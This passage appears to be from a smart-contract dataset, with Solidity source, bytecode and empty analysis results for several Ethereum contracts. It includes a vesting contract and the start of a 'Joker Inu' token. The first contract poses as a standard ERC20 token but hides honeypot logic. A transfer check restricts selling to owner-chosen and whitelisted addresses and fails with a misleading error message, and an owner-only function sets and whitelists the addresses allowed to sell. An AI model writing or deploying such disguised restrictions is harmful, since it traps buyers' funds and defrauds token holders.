function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _ErcTokens(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f8f121243d335cec332b74e5c6f148a428eb7985d45a9eb520880cbe478e2d0264736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 901 |
0x73e1ce8332d71e5a448f84c29067733d244c7017 | /**
*Submitted for verification at Etherscan.io on 2021-09-26
*/
pragma solidity ^0.5.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0));
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burnFrom(address account, uint256 amount) internal {
require(amount <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
amount);
_burn(account, amount);
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
require(token.approve(spender, value));
}
}
interface LockedOwner {
function burnTokens(uint256) external;
}
contract Vesting {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event TokensReleased(uint256 amount);
event TokensBurned(uint256 amount);
address private _beneficiary;
uint256 private _released;
address private _deployer;
uint256 private _cliff;
uint256 private _start;
uint256 private _duration;
IERC20 private _token = IERC20(0xf9FBE825BFB2bF3E387af0Dc18caC8d87F29DEa8);
LockedOwner private _tokenOwner = LockedOwner(0xfD2b93eA4f7547eFf73D08d889beDCc5164c1175);
constructor (address beneficiary, uint256 cliffDuration, uint256 duration) public {
_start = block.timestamp;
require(beneficiary != address(0), "no beneficiary");
require(cliffDuration <= duration, "invalid cliff period");
require(duration > 0, "invalid duration");
require(_start.add(duration) > block.timestamp, "invalid final time");
_beneficiary = beneficiary;
_duration = duration;
_cliff = _start.add(cliffDuration);
_start = _start;
_deployer = msg.sender;
}
function beneficiary() public view returns (address) {
return _beneficiary;
}
function cliff() public view returns (uint256) {
return _cliff;
}
function start() public view returns (uint256) {
return _start;
}
function duration() public view returns (uint256) {
return _duration;
}
function released() public view returns (uint256) {
return _released;
}
function deployer() public view returns (address) {
return _deployer;
}
function balanceInContract() public view returns (uint256) {
return _token.balanceOf(address(this));
}
function release() public {
uint256 unreleased = _releasableAmount();
require(unreleased > 0, "No tokens TBR");
_released = _released.add(unreleased);
_token.safeTransfer(_beneficiary, unreleased);
emit TokensReleased(unreleased);
}
function _releasableAmount() private view returns (uint256) {
return _vestedAmount().sub(_released);
}
function _vestedAmount() private view returns (uint256) {
uint256 currentBalance = _token.balanceOf(address(this));
uint256 totalBalance = currentBalance.add(_released);
if (block.timestamp < _cliff) {
return 0;
} else if (block.timestamp >= _start.add(_duration)) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(_start)).div(_duration);
}
}
function burnFromVesting(uint256 _amount) external {
require(msg.sender == _deployer, "Unauthorized");
_tokenOwner.burnTokens(_amount);
emit TokensBurned(_amount);
}
} | 0x608060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630fb5a6b41461009e57806311c91275146100c957806313d033c01461010457806338af3eed1461012f57806386d1a69f14610186578063961325211461019d57806399f4a5ab146101c8578063be9a6555146101f3578063d5f394881461021e575b600080fd5b3480156100aa57600080fd5b506100b3610275565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b50610102600480360360208110156100ec57600080fd5b810190808035906020019092919050505061027f565b005b34801561011057600080fd5b50610119610427565b6040518082815260200191505060405180910390f35b34801561013b57600080fd5b50610144610431565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561019257600080fd5b5061019b61045a565b005b3480156101a957600080fd5b506101b26105a1565b6040518082815260200191505060405180910390f35b3480156101d457600080fd5b506101dd6105ab565b6040518082815260200191505060405180910390f35b3480156101ff57600080fd5b506102086106a8565b6040518082815260200191505060405180910390f35b34801561022a57600080fd5b506102336106b2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600554905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610344576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f556e617574686f72697a6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636d1b229d826040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1580156103d557600080fd5b505af11580156103e9573d6000803e3d6000fd5b505050507f6ef4855b666dcc7884561072e4358b28dfe01feb1b7f4dcebc00e62d50394ac7816040518082815260200191505060405180910390a150565b6000600354905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006104646106dc565b90506000811115156104de576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f20746f6b656e73205442520000000000000000000000000000000000000081525060200191505060405180910390fd5b6104f3816001546106ff90919063ffffffff16565b6001819055506105676000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071b9092919063ffffffff16565b7fa1598fb976f7dd9df63fd18699c54a5744a6a95364166bbd0d77a2f6c8438b1f816040518082815260200191505060405180910390a150565b6000600154905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561066857600080fd5b505afa15801561067c573d6000803e3d6000fd5b505050506040513d602081101561069257600080fd5b8101908080519060200190929190505050905090565b6000600454905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006106fa6001546106ec610809565b61099e90919063ffffffff16565b905090565b6000818301905082811015151561071257fe5b80905092915050565b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156107be57600080fd5b505af11580156107d2573d6000803e3d6000fd5b505050506040513d60208110156107e857600080fd5b8101908080519060200190929190505050151561080457600080fd5b505050565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156108c757600080fd5b505afa1580156108db573d6000803e3d6000fd5b505050506040513d60208110156108f157600080fd5b81019080805190602001909291905050509050600061091b600154836106ff90919063ffffffff16565b90506003544210156109325760009250505061099b565b6109496005546004546106ff90919063ffffffff16565b4210151561095b57809250505061099b565b6109966005546109886109796004544261099e90919063ffffffff16565b846109b790919063ffffffff16565b6109ef90919063ffffffff16565b925050505b90565b60008282111515156109ac57fe5b818303905092915050565b6000808314156109ca57600090506109e9565b81830290508183828115156109db57fe5b041415156109e557fe5b8090505b92915050565b600081838115156109fc57fe5b0490509291505056fea165627a7a7230582088b494397805efd21bb1af1615d97f90de8bd1a897c04c6a8821fff14083fb740029 | {"success": true, "error": null, "results": {}} | 902 |
0x7a77f4a4a963b7f3f80a106a1b0f19e9fc97199b | /**
*Submitted for verification at Etherscan.io on 2022-03-22
*/
/**
Joker Inu ( JOKER )
Official links:
Telegram: https://t.me/jokerinuportal
Website: www.jokerinu.io
Twitter: twitter.com/jokerinu_
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
